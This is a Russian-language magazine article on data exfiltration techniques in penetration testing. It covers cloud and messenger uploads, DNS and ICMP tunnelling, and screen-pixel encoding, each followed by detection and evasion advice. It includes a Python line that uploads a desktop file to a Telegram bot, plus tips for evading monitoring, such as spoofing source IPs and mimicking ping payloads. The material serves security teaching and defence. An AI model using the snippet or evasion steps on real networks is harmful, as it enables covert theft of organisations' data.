Хакер - Проблемы эксфильтрации. Как поймать воров или не попасться при пентесте
hacker_frei
Иван Балашов
Содержание статьи
- Эксфильтрация данных через облачные сервисы
- Как ловить?
- Как обойти?
- DNS-туннелирование
- Как ловить?
- Как обойти?
- ICMP-туннелирование
- Как ловить?
- Как обойти?
- Эксфильтрация данных через изображения
- Как ловить?
- Как обойти?
- Заключение
Эксфильтрация данных — этап тестирования на проникновение, когда атакующий пытается скрытно выгрузить данные из целевой системы за пределы периметра организации. При этом важно не привлечь внимание средств защиты и остаться незамеченным. В сегодняшней статье мы поговорим о разных методах эксфильтрации и средствах борьбы с ними.
В MITRE ATT&CK выделены следующие техники передачи данных, используемые злоумышленниками:
- автоматизированная эксфильтрация (Automated Exfiltration);
- ограничение размера передаваемых данных (Data Transfer Size Limits);
- эксфильтрация через альтернативный протокол (Exfiltration Over Alternative Protocol);
- эксфильтрация через канал управления C2 (Exfiltration Over Command and Control Channel);
- эксфильтрация через альтернативную сетевую среду (Exfiltration Over Other Network Medium);
- эксфильтрация через альтернативную физическую среду (Exfiltration Over Physical Medium);
- эксфильтрация через веб‑сервис (Exfiltration Over Web Service);
- запланированная передача (Scheduled Transfer);
- передача данных на облачный сервис (Transfer Data to Cloud Account).
Я рассмотрю несколько наиболее значимых методов эксфильтрации, обсудим, как им противодействует защита и каким образом это противодействие можно обойти при тестировании.
ЭКСФИЛЬТРАЦИЯ ДАННЫХ ЧЕРЕЗ ОБЛАЧНЫЕ СЕРВИСЫ
Если говорить о способах эксфильтрации, то, конечно же, загрузка на внешний облачный диск — это наиболее простой способ. Если в корпоративной сети разрешены облачные хранилища, такие как Google Drive, Dropbox, Microsoft OneDrive, их можно использовать для эксфильтрации данных за пределы сетевого периметра и оставаться незамеченным. Атакующему в данном случае не нужно настраивать собственную инфраструктуру.
Например, модуль exfil_dropbox фреймворка для постэксплуатации PowerShell Empire поддерживает такую возможность «из коробки». Этот модуль использует облачное хранилище Dropbox.
Предположим, у нас есть доступ к удаленному компьютеру в виде сессии PowerShell Empire. Задача — загрузить на облачный сервис Dropbox несколько файлов c рабочего стола.

Если предварительная настройка API Key сделана верно, после запуска модуля файлы будут загружены по указанному пути в облачный сервис Dropbox.

Однако мир движется вперед, и сейчас многие уже не используют сервисы хостинга файлов: их с успехом заменили мессенджеры, практически в каждом из которых есть возможность использовать диалог как облачное хранилище. То, сколько в чатах того же WhatsApp ходит фотографий паспортов и других персональных данных «по работе», заслуживает отдельной статьи. Кроме того, для нас важно, что у крупных мессенджеров есть веб‑версии, доступные напрямую из браузера. Выгружать данные через них возможно как через браузер (если мы имеем физический доступ к машине), так и автоматически, используя API. Зачастую для этого уже предусмотрена функция загрузки файлов. Например, через Telegram-бота. Делается это всего одним POST-запросом.
import requests
requests.post("https://api.telegram.org/botBOTTOKEN/sendDocument?chat_id=00000",files={"document":open('Desktop\\cypher.jpg','rb')})
В результате файл загружен сразу в автоматическом режиме.

В качестве канала выгрузки данных можно воспользоваться функцией загрузки файлов на любых других легитимных ресурсах. Например, она есть на множестве Wiki-проектов и багтрекерах.
Как ловить?
Отделить честный пользовательский трафик от злодейской попытки вывести данные через веб — задача непростая. Особенно учитывая, что сейчас почти не осталось ресурсов, которые бы не использовали шифрование. Так что основной инструмент борьбы в этом случае — банальная блокировка внешних ресурсов на периметре организации. Так можно бороться с загрузкой на облачные хранилища или даже заблокировать все мессенджеры и GitHub. Однако это не спасет от выкладывания порезанного на куски шифрованного архива с измененным расширением на какую‑нибудь малоизвестную, но имеющую честную репутацию вики.
Наиболее дешевый и эффективный способ в этом случае — вайтлист интернет‑ресурсов, доступных из корпоративной сети. Однако сейчас очень мало организаций может позволить себе полностью изолировать своих сотрудников от веба. Если такая возможность есть, то можно использовать фильтрующий прокси, что даст пользователям доступ к вебу и обеспечит контроль конечных URL, типов и тел запросов.
Как обойти?
Даже если функция загрузки файла недоступна в чистом виде (например, заблокированы все POST-запросы размером больше 1 Мбайт), возможность передавать сообщения в обе стороны при использовании средств автоматизации превращает протокол такого приложения в полноценную среду передачи данных. Рассмотрим в качестве примера приложение Zoom, ставшее очень популярным за время пандемии. Это приложение имеет полноценный REST API. Как в клиенте, так и через API Zoom есть возможность создавать каналы и писать сообщения в них.
На GitHub выложен PoC на Python, представляющий собой шелл, который использует каналы Zoom как среду передачи. Управлять ПК, на котором запущен скрипт, возможно как через API, так и непосредственно из клиента.


Заметь, этот PoC создан в первую очередь для демонстрации и не учитывает задаваемые Zoom ограничения на количество сообщений и длину одного сообщения.
Важная особенность здесь в том, что API-запросы принимают все серверы Zoom. В том числе даже если запрос идет по IP, без имени хоста. Таким образом, если в процессах компании плотно используется Zoom, противодействовать такому методу сложно, не блокируя доступ к серверам Zoom полностью. Это справедливо и если говорить о выгрузке через другие мессенджеры. Если не знать вызываемый метод API, невозможно отфильтровать выгрузку данных от легитимного трафика мессенджера.
DNS-ТУННЕЛИРОВАНИЕ
Инкапсуляция данных в тело прикладных протоколов — один из самых распространенных методов эксфильтрации данных и построения туннелей. Так как исходящий DNS-трафик разрешен в большинстве корпоративных сетей, его можно использовать как канал связи между сервером атакующего и скомпрометированным хостом.
В настоящее время существует множество утилит для создания DNS-туннелей: NSTX, DNSCat2, Iodine, TUNS, Dns2TCP, DeNiSe, DNScapy, Heyoka, OzymanDNS, psudp, squeeza, tcp-over-dns. В 2017 году на конференции ZeroNights санкт‑петербургская группа DC 7812 представила расширение Meterpreter, реализующее транспортный канал для контроля над агентом Meterpreter при помощи DNS-туннеля.

Как ловить?
Есть разные методы обнаружения DNS-туннелирования в сети. Все они основаны на анализе содержимого пакетов DNS, а также количества и частоты DNS-запросов. При эксфильтрации данные кодируются и передаются в виде поддоменов третьего уровня. Длина поддомена, как правило, не превышает 30 символов, соответственно, можно установить правила для блокировки запросов, превышающих этот порог.
Еще один способ — анализ энтропии доменных имен. Как правило, легитимные URL содержат осмысленные части, в то время как закодированные в Base64 данные имеют более высокую энтропию.
Как вариант, можно искать в пакетах записи DNS, которые нехарактерны для легитимного трафика, например CNAME или TXT. Если политика безопасности требует, чтобы все запросы проходили через внутренний сервер DNS, то по нарушениям можно отследить нелегитимный трафик. Однако большинство утилит предназначены для работы даже при пересылке запросов через внутренний DNS. Многие утилиты используют собственные алгоритмы генерации доменных имен, что позволяет обнаруживать туннели по сигнатурам.
Один из основных и наиболее простых методов обнаружения — анализ объема DNS-трафика для конкретного клиентского IP-адреса. Если запросов вдруг заметно больше, чем от других хостов, значит, есть подозрение на эксфильтрацию.
Как обойти?
Для скрытия DNS-туннелирования от средств защиты лучше всего использовать самописные инструменты, так как сигнатуры уже созданных утилит есть у вендоров. Кроме того, лучше всего использовать распространенные типы DNS-записей, такие как A и AAAA. Также можно использовать уникальные алгоритмы генерации доменного имени для передачи закодированной информации, чтобы они не превышали определенной длины и имели небольшую энтропию.
ICMP-ТУННЕЛИРОВАНИЕ
ICMP (Internet Control Message Protocol) — протокол сетевого уровня, используемый для диагностики сети.
Утилиты ping и tracert — два основных инструмента администратора для диагностики неисправностей в сети. Без них диагностика сети превращается для инженера в ад. Поэтому трафик ICMP практически никогда не ограничивается. Согласно RFC 792, пакеты ICMP включают в себя поле Data, содержимое и формат которого строго не определены, что открывает возможность для инкапсуляции любых данных.
Для ICMP-туннелирования существуют разные инструменты, такие как icmpsh, ptunnel и icmptunnel. Важный момент: для отправки модифицированных пакетов ICMP в Linux требуются права администратора системы. В Windows таких ограничений нет. С определенного момента платформа .NET стала содержать все необходимые инструменты, которые позволяют при помощи обертки в PowerShell собрать свой ICMP-туннель для вывода данных без применения сторонних утилит.
На GitHub ты можешь найти код клиента и сервера, которые переправляют данные через запросы echo, используя встроенные методы класса Ping из системной сборки.
Как ловить?
Детектирование и блокировка ICMP-туннелей — задача нетривиальная, хотя и не очень сложная. Главная проблема заключается в том, что трафик ICMP нельзя блокировать полностью — это может парализовать инфраструктуру сети. Однако, например, белые списки исходящих ICMP-соединений могут сильно осложнить задачу построения канала наружу. В списке можно оставить лишь известные хосты, необходимые для диагностики соединения.
Сигнатурами при детектировании туннелей могут служить такие параметры, как сильное отклонение размера пакетов от нормы и слишком плотный и продолжительный поток трафика ICMP от какого‑то одного хоста. Но главный маркер — это, конечно, поле Data.
Впрочем, необходимо помнить, что поле Data используют и вполне легитимные утилиты. Например, такая привычная вещь, как утилита ping, в каждом пакете запроса echo заполняет в том числе и поле Data. И в зависимости от ОС поле будет заполнено по‑разному. Так, для Windows это будет строка abcdefghijklmnopqrstuvwabcdefghi. В Linux у ping первые два байта Data отличаются от пакета к пакету, но остальное содержимое не меняется. В сыром HEX оно выглядит так:
3030000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
В дампе будет сразу заметно окончание ASCII-строки: **!"#$%&'()+,-./01234567. Это еще один параметр для фингерпринтинга ОС, такого как TTL.
Как обойти?
Как и с другими способами, тут многое зависит от правил детектирования. Подстановка в начале последовательности abcdef позволит придать нашим пакетам вид легитимных. Для борьбы с туннелями ICMP обычно блокируют запросы echo, однако часто не блокируют другие типы ICMP. Например, destination unreachable.
Кроме того, если наша задача — только вывод данных, без обратной связи от сервера, то достаточно одностороннего туннеля, а значит, мы можем генерировать случайные IP-адреса источника (например, с использованием scapy). Это позволит обойти фильтрацию и детект большого потока пакетов от одного IP. Кроме того, этот прием позволит замаскировать реальный адрес машины, служащей источником утечки.
ЭКСФИЛЬТРАЦИЯ ДАННЫХ ЧЕРЕЗ ИЗОБРАЖЕНИЯ
Существуют и необычные методы эксфильтрации данных, выявить их на уровне сети невозможно. Так, в 2017 году Алан Мони из компании Pen Test Partners описал метод эксфильтрации через кодирование данных в значениях цвета пикселей. Атакуемый хост мигает экраном, принимающая сторона захватывает видео и декодирует данные. При разрешении экрана 1920 × 1080 при 24-битном цвете можно кодировать почти 6 Мбайт.
Алан Мони создал и утилиту, реализующую этот метод. Захваченный хост мигает экраном и в каждой вспышке передает блок данных, который начинается с определенного заголовка. Как только приемник получает кадр без заголовка, он восстанавливает содержимое из уже полученных кадров и сохраняет результат в файл.
На принимающей стороне необходимо запустить утилиту в режиме Receiver.

На передающей стороне нужно открыть файл, который будет закодирован в пиксели и считан принимающей стороной.

После открытия файла экран начнет мигать. Принимающая сторона будет декодировать пиксели и сохранять файл.


Этот метод становится особенно актуальным во время пандемии, так как многие компании перешли на удаленку и используют для доступа к внутренней сети средства вроде RDP и Citrix.
Как ловить?
Обнаружить такой специфический метод штатными средствами может быть проблематично. Однако утилита пока что встречается редко и не обросла большим числом модификаций. Так что можно защититься добавлением хеша исполняемого файла в базу антивируса.
Чтобы полноценно отслеживать запуск подобного передатчика, придется контролировать изображение рабочего стола сотрудников. Так как приемник ищет в кадрах специальный заголовок, его может искать и средство защиты.
Как обойти?
Вендорских решений, которые бы противодействовали такому способу эксфильтрации, пока что не существует, поэтому и запуск передатчика вряд ли будет обнаружен. Однако, если в компании используются системы, контролирующие активность сотрудников, есть определенная вероятность, что кто‑то может заметить странное мигание на рабочем столе. Так что перед использованием этого метода стоит заранее убедиться, смотрит ли дежурная служба за рабочими столами сотрудников или нет.
ЗАКЛЮЧЕНИЕ
В этой статье я собрал разные методы, которые позволяют передать информацию в обход ограничений как на прикладном уровне, так и на более низких. Обобщив эти примеры, можно сделать вывод, что если в организации есть каналы передачи информации во внешний мир, то эти каналы так или иначе могут быть использованы для эксфильтрации данных. Как известно, информацию нельзя извлечь только из выключенного компьютера в клетке Фарадея, залитой для надежности бетоном. По крайней мере, пока.
В современных реалиях компании не могут позволить себе быть полностью изолированными от мировой сети. Тем не менее наиболее эффективный и недорогой метод противодействия — это блокировка исходящего трафика. Если заблокировать облачные диски и мессенджеры на периметре компании, это остановит хотя бы сотрудников, не обладающих специальными знаниями.
Ведение белого списка внешних хостов, к которым разрешен трафик ICMP, ограничит возможность построения ICMP-туннеля.
Для эксфильтрации через веб‑сервисы можно использовать практически любой ресурс, позволяющий загружать данные. Но все ресурсы, где есть функция комментирования, заблокировать невозможно, не сделав инфраструктуру изолированной.
Профилирование трафика организации и выявление базового уровня позволит находить аномалии в количестве или размерах пакетов, которые могут свидетельствовать о попытке эксфильтрации данных. Использование же систем DLP эффективно ровно до того момента, пока злоумышленник не начнет применять шифрование.
В заключение напомню, что системы бесполезны, если у злоумышленника будет физический доступ к ПК, возможность вставить свою флешку, 3G-модем или выдернуть сетевой кабель и вставить в свой ноутбук или роутер.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei